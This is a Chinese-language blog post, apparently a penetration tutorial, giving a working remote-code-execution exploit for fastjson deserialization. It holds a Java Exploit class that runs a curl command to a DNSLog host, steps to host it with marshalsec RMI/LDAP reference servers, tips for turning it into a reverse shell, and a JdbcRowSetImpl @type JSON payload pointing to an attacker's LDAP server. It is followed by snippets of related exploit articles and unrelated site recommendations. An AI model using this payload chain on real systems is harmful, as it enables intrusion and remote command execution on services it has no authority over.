fastjson 漏洞利用 命令执行
如果你已经用DNSLog之类的工具,探测到了某个url有fastjson问题,那么接着可以试试能不能反弹shell,由于反弹shell步骤多,容易不成功,我就简化一下流程,改成执行命令,执行curl命令。
1. 准备一个Payload
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
# 如果想反弹shell ,那么修改这一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
我一般在本地编辑,然后用javac Exploit.java
,得到Expoit.class ,上传公网服务器里,如果你vim刷得6,这些步骤完全可以在服务器上操作。
然后在将这个Expoit.class 上传到你到服务器上去。
2. 服务器上启动 rmi
在本地启动rmi服务器,这里推荐github上的一个项目marshalsec
https://github.com/mbechler/marshalsec
需要用maven进行生成jar包,进入marshalsec目录后,执行如下命令:
git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
之后使用过的是这个包 marshalsec-0.0.3-SNAPSHOT-all.jar,
可以移动到仍意目录都可以, 最好把Expoit.class和它放在同一个目录下。
在当前目录下,打开一个web服务器:
python -m SimpleHTTPServer 8000
然后启动rmi,
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit
# 如果想反弹shell,加个端口就行了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999
如果命令执行成功,会出现如下监听情况
3. 向目标注入payload
可以用burp发包,也可以用脚本发包,都一样,
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:1099/Exploit\",\"autoCommit\":true}
然后去DNSlog看看有没有访问记录即可,没有记录都话,就比较难说了,可能网络问题、环境问题、步骤有问题、fastjson版本不是对应版本、java版本问题,这种就自己探索吧。
参考
https://www.cnblogs.com/sijidou/p/13121332.html
fastjson 漏洞利用 命令执行的更多相关文章
- fastjson漏洞利用备忘
预备知识: 起rmi服务 用marshalsec-0.0.3-SNAPSHOT-all.jar起一个rmi服务. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar ...
- Kali学习笔记30:身份认证与命令执行漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...
- HFS的远程命令执行漏洞(RCE)
一.HFS漏洞 1.影响版本 : 2.3c以前的2.3x版本 2.HFS: HFS是HTTP File Server,国外的一款HTTP 文件服务器软件,简单易上手. 3.漏洞描述: HTTP Fil ...
- Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick介绍: ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个 ...
- CTF—攻防练习之HTTP—命令执行漏洞
渗透环境: 主机:192.168.32.152 靶机:192.168.32.1 命令执行漏洞 命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数.如PHP中 ...
- 命令执行漏洞攻击&修复建议
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函 ...
- 从0开始fastjson漏洞分析
关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html fastjson这个漏洞出来了很久,一直没时间分析, ...
- 从0开始fastjson漏洞分析2
从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html 有了前文铺垫,可以说对fastjson内部机制和fas ...
- WebLogic远程命令执行
靶机说明 目标ip:172.16.53.28(window 2003) 本靶机所针对的序列化漏洞系列以及常见安全问题如下: 弱口令登陆控制台部署war包webshell CVE-2018-2893 C ...
随机推荐
- hdu 6827 Road To The 3rd Building
题意: t组输入,每一组一个n,然后后面是n个树的值(我们放到数组v里面),你需要从[1,n]这个区间内挑选出来两个数i,j,你需要保证i<=j,之后你要求一下v[i]+v[i+1]+...+v ...
- hdu3635 Dragon Balls
Problem Description Five hundred years later, the number of dragon balls will increase unexpectedly, ...
- k8s二进制部署 - etcd节点安装
下载etcd [root@hdss7-12 ~]# useradd -s /sbin/nologin -M etcd [root@hdss7-12 ~]# cd /opt/src/ [root@hds ...
- Nginx location相关配置说明
Nginx location相关配置说明 基于不同的IP.不同的端口以及不用得域名实现不同的虚拟主机,依赖于核心模块ngx_http_core_module实现. 新建PC web站点 [ ...
- java中的装箱及拆箱
java中存在8中基本的数据类型,每一种数据类型都有包装类型. 包装类型:每一个基本的数据类型都会------对应一个包装类型. boolean------------------>Boolea ...
- meidi
最近觉得某些公司的选择题也是很基础,非常值得总结回味.今天做了美的的笔试,20道选择题(单选14+6多选).特此记录如下(部分忘了烦请见谅): 1. 是我昨晚刚刚总结的List,Set,Map的区别: ...
- Leetcode(871)-最低加油次数
汽车从起点出发驶向目的地,该目的地位于出发位置东面 target 英里处. 沿途有加油站,每个 station[i] 代表一个加油站,它位于出发位置东面 station[i][0] 英里处,并且有 s ...
- HDU 5608 function(莫比乌斯反演 + 杜教筛)题解
题意: 已知\(N^2-3N+2=\sum_{d|N}f(d)\),求\(\sum_{i=1}^nf(i) \mod 1e9+7\),\(n\leq1e9\) 思路: 杜教筛基础题? 很显然这里已经设 ...
- CodeForces 348D Turtles(LGV定理)题解
题意:两只乌龟从1 1走到n m,只能走没有'#'的位置,问你两只乌龟走的时候不见面的路径走法有几种 思路:LGV定理模板.但是定理中只能从n个不同起点走向n个不同终点,那么需要转化.显然必有一只从1 ...
- Raven1渗透实战
Raven1渗透实战 目录: 1.wordpress爆破用户 2.wp-config得到数据库账号密码 3.ssh连接4.pythn提权(sudo python -c 'import pty;pty. ...